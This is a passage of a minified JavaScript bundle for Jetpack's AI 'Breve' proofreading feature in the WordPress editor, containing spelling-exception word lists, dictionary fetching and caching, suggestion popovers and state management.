r=&quot;Ad\nASAP\nDIY\nETA\nFYI\nInfo\nLab\nMath\nPhoto\nRSVP\nTBD\nTBA\nTGIF\nAMA\nBFF\nBRB\nBTW\nDM\nFOMO\nICYMI\nIDK\nIMO\nIRL\nIYKYK\nLOL\nNSFW\nOMG\nROFL\nSMH\nTTYL\nWTG\nYOLO\nB2B\nB2C\nCEO\nCFO\nEOD\nEOY\nFY\nHR\nKPI\nNDA\nPR\nROI\nSEO\nSME\nStats\nYOY\nAPI\nCSS\nHTML\nHTTP\nHTTPS\nIoT\nIP\nSaaS\nURL\nUX\nUI\nVPN\nWi\nFi\nACT\nBA\nBS\nCEFR\nESL\nGPA\nIELTS\nLMS\nMA\nMOOC\nMSc\nPGCE\nPhD\nPGDip\nSTEM\nTOEFL\nADHD\nAIDS\nBPM\nDNA\nHIV\nICU\nMD\nRNA\nGBP\netc\nEg\n&quot;},58567(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;config\nmicroservice\nmicroservices\nfrontend\nbackend\nintegrations\ninfluencer\n&quot;},48324(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;\njs\njson\nyaml\ntsx\njsx\nyml\nmd\ncss\nscss\nhtml\nxml\ncsv\nsql\npy\nrb\nphp\ncpp\nhpp\nini\nconf\nenv\ndockerfile\nmakefile\ngradle\ntoml\npdf\nsvg\npng\njpg\njpeg\ngif\nmp4\nmp3\nwebm\nogg\ndocx\nxlsx\npptx\ntxt\ntex\navi\nbat\nbmp\ndll\nexe\nflv\niso\njpg\nmov\nmpeg\nmsi\nogg\npng\nrar\nsys\ntif\ntmp\nwav\nwma\nwmv\nxls\n&quot;},59096(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(83514),n=s(47716),o=s(60513),a=s(67955),i=s(58567),l=s(48324),c=s(26298),u=s(77467),d=s(45835),p=s(51530);const h=[r.A,n.A,o.A,l.A,c.A,u.A,d.A,p.A,a.A,i.A].flatMap(e=&gt;e.trim().split(&quot;\n&quot;).filter(e=&gt;&quot;&quot;!==e.trim())).join(&quot;\n&quot;)},26298(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;iPhone\niPad\nMacBook\nMacintosh\n&quot;},77467(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;\nAudacity\nBlender\nDaVinci\nResolve\nDreamweaver\nDropbox\nFileZilla\nGarageBand\nInDesign\nInkscape\nIntelliJ\nJira\nLibreOffice\nLightroom\nOneNote\nPhotoshop\nPostman\nPowerShell\nPremiere\nPyCharm\nReplit\nSymfony\nVSCode\nVirtualBox\nWebStorm\nWireshark\nXcode\nXD\nZsh\nContentful\nMacOS\nmacOS\nWindows\nLinux\nAndroid\niOS\niCloud\niMessage\niMovie\nNetBeans\nVLC\nAVG\nAvast\nBitdefender\nBrave\nChrome\nFirefox\nMinecraft\nSignal\nSteam\nZotero\nQuickBooks\n&quot;},45835(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;\nae\naf\nag\nai\nal\nao\naq\nar\nau\naz\nba\nbb\nbd\nbg\nbh\nbj\nbm\nbn\nbo\nbq\nbr\nbs\nbt\nbv\nbw\nbz\ncd\nci\ncn\ncr\ncv\ncx\ncy\ncz\nde\ndev\ndj\ndk\ndm\nec\nedu\nee\neg\net\neu\nfi\nfj\nfk\nfm\nfo\nga\ngb\ngd\nge\ngf\ngg\ngh\ngi\ngl\ngn\ngp\ngq\ngu\ngw\ngy\nhk\nhm\nhn\nhu\nie\nil\nim\nio\niq\nir\nje\njm\njo\njp\nke\nkh\nki\nkp\nkr\nky\nkz\nlc\nli\nlk\nlr\nlt\nlu\nlv\nly\nmc\nmd\nmh\nmk\nmn\nmq\nmr\nmv\nmw\nmx\nmz\nna\nnc\nne\nnf\nng\nni\nnl\nnp\nnr\nnz\npe\nph\npn\nps\npw\npy\nqa\nro\nru\nrw\nsa\nsb\nsc\nsd\nse\nsg\nsi\nsj\nsk\nsl\nsm\nsn\nsr\nss\nsv\nsx\nsy\nsz\ntc\ntd\ntf\ntg\nth\ntj\ntk\ntl\ntm\ntt\ntv\ntz\nua\nug\nuk\nuy\nuz\nva\nvc\nve\nvg\nvn\nvu\nwf\nws\nxyz\nyt\nza\nzm\nzw\n&quot;},51530(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;\nAsana\nAlexa\nBasecamp\nBluesky\nCoursera\nDouyin\nFiverr\nFigma\nGitHub\nGitLab\nGumroad\nHackerNews\nMastodon\nMessenger\nNextdoor\nOneDrive\nOutlook\nPinterest\nProductHunt\nQuora\nReddit\nSlack\nSnapchat\nStackOverflow\nSubstack\nTelegram\nThreads\nTikTok\nTrello\nTripadvisor\nTwitter\nUpwork\nVimeo\nVK\nVKontakte\nWeChat\nWeibo\nWhatsApp\nWix\nX\nXiaohongshu\nYahoo\nYouTube\nZoom\nNetlify\nGmail\nMailchimp\nCanva\nKickstarter\nShopify\nBitbucket\nChatGPT\nCloudflare\nCloudinary\nQQ\nLINE\nKakaoTalk\nOdnoklassniki\nBing\nDiscord\nHotmail\nEbay\nGroupon\n&quot;},8589(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;b,S$:()=&gt;g,aj:()=&gt;f,rp:()=&gt;p});var r=s(47143),n=s(27723),o=s(10067),a=s.n(o),i=s(16073),l=s.n(i),c=s(28074),u=s(59096);const __=n.__,d=a()(&quot;jetpack-ai-breve:spelling-mistakes&quot;),p={name:&quot;spelling-mistakes&quot;,title:__(&quot;Spelling mistakes&quot;,&quot;jetpack&quot;),tagName:&quot;span&quot;,className:&quot;jetpack-ai-breve__has-proofread-highlight--spelling-mistakes&quot;,defaultEnabled:!0},h={},m=({language:e=&quot;en&quot;}={})=&gt;{if(h[e])return h[e];const t=(0,c.A)({feature:p.name,language:e});if(!t)return null;const{affix:s,dictionary:r}=t,n=l()(s,r);return Array.from(new Set(JSON.parse(localStorage.getItem(`jetpack-ai-breve-spelling-exceptions-${e}`))||[])).forEach(e=&gt;n.add(e)),n.personal(u.A),h[e]=n,h[e]},g=(e,{language:t=&quot;en&quot;}={})=&gt;{const s=m({language:t}),{reloadDictionary:n}=(0,r.dispatch)(&quot;jetpack/ai-breve&quot;);if(s){try{const s=new Set(JSON.parse(localStorage.getItem(`jetpack-ai-breve-spelling-exceptions-${t}`))||[]);s.add(e),localStorage.setItem(`jetpack-ai-breve-spelling-exceptions-${t}`,JSON.stringify(Array.from(s)))}catch(e){return void d(&quot;Failed to add text to the dictionary&quot;,e)}delete h[t],n(),d(&quot;Added text to the dictionary&quot;,e)}},f=(e,{language:t=&quot;en&quot;}={})=&gt;{const s=m({language:t});if(!s||!e)return[];if(&quot;wordpress&quot;===e.toLocaleLowerCase())return[&quot;WordPress&quot;];return s.suggest(e)};function b(e){const t=[],s=m();if(!s)return t;const r=new RegExp(/[@#+$/]{0,1}[\p{L}\p{M}\p{N}&#039;’-]+(?:\/[\p{L}\p{M}\p{N}&#039;’-]+)*/gu);return Array.from(e.matchAll(r)).forEach(e=&gt;{const r=e[0],n=e.index;if(-1!==[&quot;@&quot;,&quot;#&quot;,&quot;+&quot;,&quot;$&quot;,&quot;/&quot;].indexOf(r[0]))return;if(!isNaN(Number(r)))return;r.split(/[-/]/).forEach(e=&gt;{if(e=e.replace(/^&#039;+|[&#039;’]+$/g,&quot;&quot;),!s.correct(e)){const s=n+r.indexOf(e);t.push({text:e,startIndex:s,endIndex:s+e.length})}})}),t}},39e3(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i,E:()=&gt;a});var r=s(27723),n=s(53817),o=s(28074);const a={name:&quot;unconfident-words&quot;,title:(0,r.__)(&quot;Unconfident words&quot;,&quot;jetpack&quot;),tagName:&quot;span&quot;,className:&quot;jetpack-ai-breve__has-proofread-highlight--unconfident-words&quot;,defaultEnabled:!0};function i(e){const t=[],s=(0,o.A)({feature:a.name,language:&quot;en&quot;})??[],r=new RegExp(`\\b(${s.map(n.N).join(&quot;|&quot;)})\\b`,&quot;gi&quot;),i=e.matchAll(r);for(const e of i){const s=e[0].trim();t.push({text:s,startIndex:e.index,endIndex:e.index+s.length})}return t}},41863(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(50876),n=s(70960),o=s.n(n);function a({content:e,type:t,indexes:s,attributes:n,ignored:a}){return(({content:e,type:t,indexes:s,attributes:n={},ignored:a=[]})=&gt;{let i=e;return s.length&gt;0&amp;&amp;(i=s.map(e=&gt;{const{startIndex:t,endIndex:s,text:r}=e;return{start:t,end:s,id:o()(`${r}-${t}-${s}`).toString()}}).filter(e=&gt;!a.includes(e?.id)).reduce((e,{start:s,end:o,id:a})=&gt;{const i={...n,&quot;data-id&quot;:a},l={type:t,attributes:i};return(0,r.applyFormat)(e,l,s,o)},e)),i})({indexes:s,content:e,type:t,attributes:n,ignored:a})}},73333(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;y});var r=s(96865),n=s(85985),o=s(74997),a=s(56427),i=s(47143),l=s(86087),c=s(27723),u=s(48568),d=s(13022),p=s(1661),h=s(29526),m=s(65634),g=s(8589),f=s(2632),b=s(55983),v=s(23686),k=(s(56389),s(10790));const __=c.__;function y(){const{setPopoverHover:e,setSuggestions:t,invalidateSuggestions:s,ignoreSuggestion:c,invalidateSingleSuggestion:y}=(0,i.useDispatch)(&quot;jetpack/ai-breve&quot;),{tracks:x}=(0,n.st)(),{updateBlockAttributes:j}=(0,i.useDispatch)(&quot;core/block-editor&quot;),{getBlock:w}=(0,i.useSelect)(e=&gt;({getBlock:e(&quot;core/block-editor&quot;).getBlock}),[]),[_,C]=(0,l.useState)([]),{anchor:A,virtual:S,popoverOpen:E,id:N,feature:T,blockId:B,title:P,loading:I,suggestions:M,description:L}=(0,i.useSelect)(e=&gt;{const t=e(&quot;jetpack/ai-breve&quot;),s=t.isPopoverHover(),r=t.isHighlightHover(),{target:n,virtual:o}=t.getPopoverAnchor()??{target:null,virtual:null},a=n?.getAttribute?.(&quot;data-breve-type&quot;),i=n?.getAttribute?.(&quot;data-id&quot;),l=n?.getAttribute?.(&quot;data-block&quot;),c=h.A?.find?.(e=&gt;e.config.name===a),u=c?.config??{name:&quot;&quot;,title:&quot;&quot;},d=c?.description??&quot;&quot;,p=u?.title??&quot;&quot;,m=t.getSuggestionsLoading({feature:a,id:i,blockId:l}),g=t.getSuggestions({feature:a,id:i,blockId:l});return{title:p,description:d,anchor:n,virtual:o,feature:a,id:i,blockId:l,popoverOpen:r||s,loading:m,suggestions:g}},[]),R=E&amp;&amp;S,D=Boolean(M?.suggestion)||_.length&gt;0,F=()=&gt;{const s=w(B);if(!s)return void e(!1);x.recordEvent(&quot;jetpack_ai_breve_ask&quot;,{feature:p.S,block:s.name,type:T});const{target:r,text:n,occurrence:o}=(0,f.A)(A),a=(0,b.s)(o);t({anchor:A,id:N,target:r,feature:T,text:n,blockId:B,occurrence:a})};return(0,l.useEffect)(()=&gt;{if(T===g.rp.name&amp;&amp;R){const e=A?.innerText;if(!e)return;C((0,g.aj)(e))}else C([])},[T,R,A]),(0,k.jsx)(k.Fragment,{children:R&amp;&amp;A?.parentElement&amp;&amp;(0,k.jsx)(a.Popover,{anchor:S,placement:T===m.S.name?&quot;bottom&quot;:&quot;bottom-start&quot;,className:&quot;jetpack-ai-breve__highlight-popover&quot;,animate:!1,focusOnMount:!1,onMouseEnter:()=&gt;{e(!0)},onMouseLeave:t=&gt;{t.stopPropagation(),e(!1)},children:(0,k.jsxs)(&quot;div&quot;,{className:(0,d.A)(&quot;jetpack-ai-breve__highlight-content&quot;,{&quot;jetpack-ai-breve__has-suggestions&quot;:D}),children:[(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__header-container&quot;,children:[(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__title&quot;,children:[(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__color&quot;,&quot;data-breve-type&quot;:T}),(0,k.jsx)(&quot;div&quot;,{children:P})]}),T!==g.rp.name&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__action&quot;,children:D?(0,k.jsx)(a.Button,{showTooltip:!0,size:&quot;small&quot;,iconSize:20,icon:u.A,label:__(&quot;Retry&quot;,&quot;jetpack&quot;),onClick:()=&gt;{y(T,B,N),F(),x.recordEvent(&quot;jetpack_ai_breve_retry&quot;,{feature:p.S,type:T})}}):(0,k.jsx)(k.Fragment,{children:I?(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__loading&quot;,children:(0,k.jsx)(a.Spinner,{})}):(0,k.jsx)(a.Button,{className:&quot;jetpack-ai-breve__suggest&quot;,icon:r.RD,iconSize:18,onClick:F,children:__(&quot;Suggest&quot;,&quot;jetpack&quot;)})})})]}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__suggestions-container&quot;,children:[T!==g.rp.name&amp;&amp;D&amp;&amp;(0,k.jsx)(a.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;{const t=w(B);if(!t)return void e(!1);let n=M?.html;&quot;core/table&quot;===t.name&amp;&amp;(n=r.Su.table(M?.html,!0,{hasFixedLayout:t.attributes?.hasFixedLayout})),&quot;core/list-item&quot;===t.name&amp;&amp;(n=r.Su.listItem(M?.html,!0));const[a]=(0,o.rawHandler)({HTML:n});s(B),j(B,a.attributes),e(!1),x.recordEvent(&quot;jetpack_ai_breve_apply&quot;,{feature:p.S,block:t.name,type:T})},children:M?.suggestion}),T===g.rp.name&amp;&amp;_.map(t=&gt;(0,k.jsx)(a.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;(t=&gt;{const r=w(B);if(!r)return void e(!1);const{target:n,occurrence:a}=(0,f.A)(A),i=(0,o.serialize)(r),l=(0,v.A)({text:i,target:n,occurrence:a,replacement:t}),[c]=(0,o.rawHandler)({HTML:l});s(B),j(B,c.attributes),e(!1)})(t),className:&quot;jetpack-ai-breve__spelling-suggestion&quot;,children:t},t))]}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__helper&quot;,children:[T===g.rp.name&amp;&amp;(0,k.jsx)(a.Button,{variant:&quot;link&quot;,onClick:()=&gt;{const{target:e}=(0,f.A)(A);(0,g.S$)(e),x.recordEvent(&quot;jetpack_ai_breve_add_to_dictionary&quot;,{feature:p.S,type:T,word:e,language:&quot;en&quot;})},children:__(&quot;Add to dictionary&quot;,&quot;jetpack&quot;)}),T!==g.rp.name&amp;&amp;(D?__(&quot;Click on the suggestion to insert it.&quot;,&quot;jetpack&quot;):L),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__helper-inner&quot;,children:[(0,k.jsx)(r.HL,{disabled:!D,ratedItem:N,iconSize:18,feature:&quot;write-brief&quot;,options:{prompt:T}}),(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-breve__helper-buttons-wrapper&quot;,children:(0,k.jsx)(a.Button,{variant:&quot;link&quot;,onClick:()=&gt;{c(B,N),e(!1),x.recordEvent(&quot;jetpack_ai_breve_ignore&quot;,{feature:p.S,type:T})},children:__(&quot;Ignore&quot;,&quot;jetpack&quot;)})})]})]})]})})})}},50976(e,t,s){&quot;use strict&quot;;s.d(t,{$A:()=&gt;o.$A,Lx:()=&gt;a,f4:()=&gt;n.A});var r=s(27180),n=(s(59958),s(73333)),o=s(52965);const a=r.A},55305(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{ignoreSuggestion:()=&gt;g,invalidateSingleSuggestion:()=&gt;f,invalidateSuggestions:()=&gt;m,reloadDictionary:()=&gt;b,setBlockMd5:()=&gt;h,setDictionaryLoading:()=&gt;p,setHighlightHover:()=&gt;i,setPopoverAnchor:()=&gt;c,setPopoverHover:()=&gt;l,setSuggestions:()=&gt;v,toggleFeature:()=&gt;d,toggleProofread:()=&gt;u});var r=s(96865),n=s(47143),o=s(1661),a=s(56267);function i(e){return{type:&quot;SET_HIGHLIGHT_HOVER&quot;,isHover:e}}function l(e){return{type:&quot;SET_POPOVER_HOVER&quot;,isHover:e}}function c(e){return{type:&quot;SET_POPOVER_ANCHOR&quot;,anchor:e}}function u(e){const t=(0,n.select)(&quot;jetpack/ai-breve&quot;).isProofreadEnabled();return{type:&quot;SET_PROOFREAD_ENABLED&quot;,enabled:void 0===e?!t:e}}function d(e,t){const s=(0,n.select)(&quot;jetpack/ai-breve&quot;).isFeatureEnabled(e);return{type:(void 0===t?!s:t)?&quot;ENABLE_FEATURE&quot;:&quot;DISABLE_FEATURE&quot;,feature:e}}function p(e,t){return{type:&quot;SET_DICTIONARY_LOADING&quot;,feature:e,loading:t}}function h(e,t){return{type:&quot;SET_BLOCK_MD5&quot;,blockId:e,md5:t}}function m(e){return{type:&quot;INVALIDATE_SUGGESTIONS&quot;,blockId:e}}function g(e,t){return{type:&quot;IGNORE_SUGGESTION&quot;,blockId:e,id:t}}function f(e,t,s){return{type:&quot;INVALIDATE_SINGLE_SUGGESTION&quot;,feature:e,blockId:t,id:s}}function b(){return{type:&quot;RELOAD_DICTIONARY&quot;}}function v({anchor:e,id:t,feature:s,target:n,text:i,blockId:l,occurrence:c}){return({dispatch:u})=&gt;{e?.classList?.add(&quot;jetpack-ai-breve__is-loading&quot;),u({type:&quot;SET_SUGGESTIONS_LOADING&quot;,id:t,feature:s,blockId:l,loading:!0}),(0,r.R0)((0,a.o)({feature:s,target:n,text:i,blockId:l,occurrence:c}),{feature:o.S}).then(r=&gt;{e?.classList?.remove(&quot;jetpack-ai-breve__is-loading&quot;);try{const e=JSON.parse(r);u({type:&quot;SET_SUGGESTIONS&quot;,id:t,feature:s,suggestions:e,blockId:l})}catch{u({type:&quot;SET_SUGGESTIONS_LOADING&quot;,id:t,feature:s,blockId:l,loading:!1})}}).catch(()=&gt;{e?.classList?.remove(&quot;jetpack-ai-breve__is-loading&quot;),u({type:&quot;SET_SUGGESTIONS_LOADING&quot;,id:t,feature:s,blockId:l,loading:!1})})}}},59958(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;i});var r=s(47143),n=s(55305),o=s(89746),a=s(10248);const i=(0,r.createReduxStore)(&quot;jetpack/ai-breve&quot;,{reducer:o.Ay,selectors:a,actions:n});(0,r.register)(i)},89746(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;c});var r=s(47143),n=s(29526);const o=window.localStorage.getItem(&quot;jetpack-ai-breve-enabled&quot;),a=window.localStorage.getItem(&quot;jetpack-ai-breve-disabled-features&quot;),i={enabled:&quot;true&quot;===o,disabled:null!==a?JSON.parse(a):n.A.filter(e=&gt;!e.config.defaultEnabled).map(e=&gt;e.config.name)};const l=&quot;jetpack-ai-breve__highlight-hovered&quot;;const c=(0,r.combineReducers)({popover:function(e={},t){const s=()=&gt;{e?.anchor?.target?.classList?.remove(l)};switch(t.type){case&quot;SET_HIGHLIGHT_HOVER&quot;:return e?.isPopoverHover||t?.isHover||s(),{...e,isHighlightHover:t.isHover};case&quot;SET_POPOVER_HOVER&quot;:return e?.isHighlightHover||t?.isHover||s(),{...e,isPopoverHover:t.isHover};case&quot;SET_POPOVER_ANCHOR&quot;:{if(!t.anchor)return e;const r=e?.anchor?.target,n=t?.anchor?.target;return r!==n&amp;&amp;s(),n?.classList?.add(l),{...e,anchor:t.anchor}}}return e},configuration:function(e=i,t){switch(t.type){case&quot;SET_PROOFREAD_ENABLED&quot;:{const s=void 0!==t?.enabled?t?.enabled:!e?.enabled;return window.localStorage.setItem(&quot;jetpack-ai-breve-enabled&quot;,String(s)),{...e,enabled:s}}case&quot;ENABLE_FEATURE&quot;:{const s=(e.disabled??[]).filter(e=&gt;e!==t.feature);return window.localStorage.setItem(&quot;jetpack-ai-breve-disabled-features&quot;,JSON.stringify(s)),{...e,disabled:s}}case&quot;DISABLE_FEATURE&quot;:{const s=[...e.disabled??[],t.feature];return window.localStorage.setItem(&quot;jetpack-ai-breve-disabled-features&quot;,JSON.stringify(s)),{...e,disabled:s}}case&quot;SET_DICTIONARY_LOADING&quot;:{const s=t.loading?[...e.loading??[],t.feature]:[...e.loading??[]].filter(e=&gt;e!==t.feature);return{...e,loading:s}}case&quot;RELOAD_DICTIONARY&quot;:return{...e,reload:!e.reload}}return e},suggestions:function(e={},t){const{id:s,feature:r,blockId:n}=t??{},o={...e},a=o?.[n]??{},i=o?.[n]?.[r]?.[s]||{};switch(t.type){case&quot;SET_SUGGESTIONS_LOADING&quot;:return{...o,[n]:{...a,[r]:{...a[r]??{},[s]:{...i,loading:t.loading}}}};case&quot;SET_SUGGESTIONS&quot;:return{...o,[n]:{...a,[r]:{...a[r]??{},[s]:{...i,loading:!1,suggestions:t.suggestions}}}};case&quot;SET_BLOCK_MD5&quot;:return{...o,[n]:{md5:t.md5,...a}};case&quot;INVALIDATE_SUGGESTIONS&quot;:return{...o,[n]:{}};case&quot;INVALIDATE_SINGLE_SUGGESTION&quot;:return{...o,[n]:{...a,[r]:{...a[r]??{},[s]:{}}}};case&quot;IGNORE_SUGGESTION&quot;:return{...o,[n]:{...a,ignored:[...a.ignored??[],s]}}}return e}})},10248(e,t,s){&quot;use strict&quot;;function r(e){return e.popover?.isHighlightHover}function n(e){return e.popover?.isPopoverHover}function o(e){return e?.popover?.anchor??null}function a(e){return e.popover?.level}function i(e){return e.configuration?.enabled}function l(e,t){return!e.configuration?.disabled?.includes(t)}function c(e,t){return e.configuration?.loading?.includes(t)}function u(e){return e.configuration?.disabled}function d(e){return e.configuration?.reload}function p(e,t){return e.suggestions?.[t]?.md5??&quot;&quot;}function h(e,{feature:t,id:s,blockId:r}){return e.suggestions?.[r]?.[t]?.[s]?.loading}function m(e,{feature:t,id:s,blockId:r}){return e.suggestions?.[r]?.[t]?.[s]?.suggestions}function g(e,{blockId:t}){return e.suggestions?.[t]?.ignored}s.r(t),s.d(t,{getBlockMd5:()=&gt;p,getDisabledFeatures:()=&gt;u,getIgnoredSuggestions:()=&gt;g,getPopoverAnchor:()=&gt;o,getPopoverLevel:()=&gt;a,getReloadFlag:()=&gt;d,getSuggestions:()=&gt;m,getSuggestionsLoading:()=&gt;h,isFeatureDictionaryLoading:()=&gt;c,isFeatureEnabled:()=&gt;l,isHighlightHover:()=&gt;r,isPopoverHover:()=&gt;n,isProofreadEnabled:()=&gt;i})},53817(e,t,s){&quot;use strict&quot;;s.d(t,{N:()=&gt;r});const r=e=&gt;e.replace(/[.*+?^${}()|[\]\\/]/g,&quot;\\$&amp;&quot;)},80555(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=e=&gt;{const t=(e=&gt;e.split(/\s+/).filter(e=&gt;e.length&gt;0).length)(e),s=(e=&gt;e.split(/[.!?]+/).filter(e=&gt;e.length&gt;0).length)(e),r=(e=&gt;e.split(/\s+/).reduce((e,t)=&gt;e+(e=&gt;{if(e.length&lt;=3)return 1;const t=(e=e.toLowerCase().replace(/(?:[^laeiouy]es|ed|[^laeiouy]e)$/,&quot;&quot;).replace(/^y/,&quot;&quot;)).match(/[aeiouy]{1,2}/g);return t?t.length:1})(t),0))(e),n=((e,t,s)=&gt;0===e||0===t?null:e/t*.39+s/e*11.8-15.59)(t,s,r);return n}},81932(e,t,s){&quot;use strict&quot;;s.d(t,{GB:()=&gt;c,Ul:()=&gt;l,Ur:()=&gt;u});var r=s(74960),n=s(47143),o=s(14309),a=s(48499);function i(){const{getAiAssistantFeature:e}=(0,n.select)(r.j);return e()}function l(){const{currentTier:e,featuresControl:t}=i();if(!1===t?.[&quot;write-brief&quot;]?.enabled)return!1;return!((0,n.select)(o.store).getHiddenBlockTypes?.()??[]).includes(&quot;jetpack/ai-assistant&quot;)&amp;&amp;(0,a.C)(&quot;ai-proofread-breve&quot;)}function c(){const{featuresControl:e}=i();return!1!==e?.[&quot;write-brief&quot;]?.enabled}function u(e){const{featuresControl:t}=i();return!1!==t?.[&quot;write-brief&quot;]?.[e]?.enabled}},28074(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(47143),n=s(10067);const o=s.n(n)()(&quot;jetpack-ai-breve:fetch-feature-data&quot;),a={};async function i({feature:e,language:t,lastRequested:s}){o(&quot;Fetching feature data for type: %s. language: %s&quot;,e,t);const{setDictionaryLoading:n}=(0,r.dispatch)(&quot;jetpack/ai-breve&quot;);a[e][t].loading=!0,n(e,!0);try{const r=await async function({feature:e,language:t,lastRequested:s}){const r=`https://s${Math.floor(3*Math.random())}.wp.com/wp-content/lib/jetpack-ai/breve-dictionaries/${e}/${t}.json`;if(s){const e=(await fetch(r,{method:&quot;HEAD&quot;})).headers.get(&quot;last-modified&quot;);if(!e)throw new Error(&quot;Failed to fetch metadata&quot;);if(new Date(s)&gt;=new Date(e))return null}const n=(new Date).toUTCString(),o=await fetch(r);if(404===o.status)throw new Error(&quot;The requested data does not exist&quot;);if(200!==o.status)throw new Error(&quot;Failed to fetch data&quot;);return{requestTime:n,data:await o.json()}}({feature:e,language:t,lastRequested:s});if(a[e][t].verified=!0,!r)return void o(&quot;Data not modified&quot;,e,t);const{requestTime:n,data:i}=r;o(&quot;Loaded data from server&quot;,e,t),a[e][t].data=i,localStorage.setItem(`jetpack-ai-breve-data-${e}-${t}`,JSON.stringify({requestTime:n,data:i}))}catch(s){o(&quot;Failed to fetch feature data context&quot;,s),a[e][t].failed=!0}finally{a[e][t].loading=!1,n(e,!1)}}function l({feature:e,language:t}){a[e]=a[e]||{},a[e][t]=a[e][t]||{loading:!1,failed:!1,verified:!1};const{loading:s,failed:r,data:n,verified:l}=a[e]?.[t]??{loading:!1,failed:!1};if(n)return n;if(s)return null;const c=localStorage.getItem(`jetpack-ai-breve-data-${e}-${t}`);let u;if(c)try{const{requestTime:s,data:n}=JSON.parse(c);if(l||r)return o(&quot;Loaded data from local storage&quot;,e,t),a[e][t].data=n??null,n;u=s}catch(s){o(&quot;Failed to parse data from local storage&quot;,e,t,s),localStorage.removeItem(`jetpack-ai-breve-data-${e}-${t}`)}return r||i({feature:e,language:t,lastRequested:u}),null}localStorage.removeItem(&quot;jetpack-ai-breve-spelling-context-en&quot;)},10402(e,t,s){&quot;use strict&quot;;s.d(t,{u:()=&gt;r});const r=(e,t)=&gt;{const s=Array.from(e.childNodes),r=s.indexOf(t),n=s.slice(0,r),o=document.createElement(&quot;div&quot;);return n.forEach(e=&gt;o.appendChild(e.cloneNode(!0))),o.innerText.length}},54711(e,t,s){&quot;use strict&quot;;s.d(t,{D:()=&gt;r});const r=e=&gt;{let t=e?.parentElement??null;for(;t&amp;&amp;&quot;A&quot;===t.tagName;)t=t.parentElement;return t}},36205(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;o});var r=s(74997);const{getBlockContent:n}=r;function o(e){return function(e){const t=document.implementation.createHTMLDocument(&quot;&quot;);return t.body.innerHTML=e,t.body.querySelectorAll(&quot;td, th&quot;).forEach(e=&gt;{e.innerHTML=` ${e.innerHTML}`}),t.body.innerText}(e.map(e=&gt;n(e)).join(&quot;&quot;))}},56267(e,t,s){&quot;use strict&quot;;s.d(t,{o:()=&gt;i});var r=s(74997),n=s(47143),o=s(29526);const a={&quot;complex-words&quot;:&quot;breve-complex-word&quot;,&quot;unconfident-words&quot;:&quot;breve-unconfident-word&quot;,&quot;long-sentences&quot;:&quot;breve-long-sentence&quot;},i=({feature:e,target:t,text:s,blockId:i,occurrence:l})=&gt;{const c=(0,n.select)(&quot;core/block-editor&quot;).getBlock(i),u=(0,r.getBlockContent)(c),d=(o.A?.find?.(t=&gt;t.config.name===e)?.dictionary||{})[t.toLowerCase()]||null;return[{role:&quot;jetpack-ai&quot;,context:{type:a[e],target:t,text:s,html:u,replacement:d,occurrence:l}}]}},2632(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(10402),n=s(54711);function o(e){const t=e?.innerText,s=(0,n.D)(e),o=s?.innerText,a=(0,r.u)(s,e),i=new RegExp(t,&quot;gi&quot;),l=Array.from(o.matchAll(i)).map(e=&gt;e.index);return{target:t,parent:s,text:o,occurrence:Math.max(1,l.indexOf(a)+1)}}},55983(e,t,s){&quot;use strict&quot;;s.d(t,{s:()=&gt;r});const r=e=&gt;{const t=[&quot;th&quot;,&quot;st&quot;,&quot;nd&quot;,&quot;rd&quot;],s=e%100;return e+(t[(s-20)%10]||t[s]||t[0])}},52965(e,t,s){&quot;use strict&quot;;s.d(t,{$A:()=&gt;h});var r=s(74997),n=s(47143),o=s(50876),a=s(70960),i=s.n(a),l=s(29526),c=s(95073),u=s(41863),d=s(59958),p=s(81932);function h(){l.A.forEach(e=&gt;{!function(e){if(!e)return;const{highlight:t,config:s}=e,{name:a,...l}=s,h=`jetpack/ai-proofread-${a}`,m={name:h,interactive:!1,object:!1,edit:()=&gt;{},...l,__experimentalGetPropsForEditableTreePreparation(e,{blockClientId:t}){const{getIgnoredSuggestions:r,isFeatureEnabled:o,isProofreadEnabled:a,isFeatureDictionaryLoading:i,getReloadFlag:l}=(0,n.select)(d.M),c=(0,p.GB)(),u=(0,p.Ur)(s.name);return{isProofreadEnabled:c&amp;&amp;a()&amp;&amp;(0,p.Ul)(),isFeatureEnabled:u&amp;&amp;o(s.name),ignored:r({blockId:t}),isFeatureDictionaryLoading:i(s.name),reloadFlag:l()}},__experimentalCreatePrepareEditableTree:({isProofreadEnabled:e,isFeatureEnabled:a,ignored:l,isFeatureDictionaryLoading:p},{blockClientId:m,richTextIdentifier:g})=&gt;(f,b)=&gt;{const{getBlock:v}=(0,n.select)(&quot;core/block-editor&quot;),{getBlockMd5:k}=(0,n.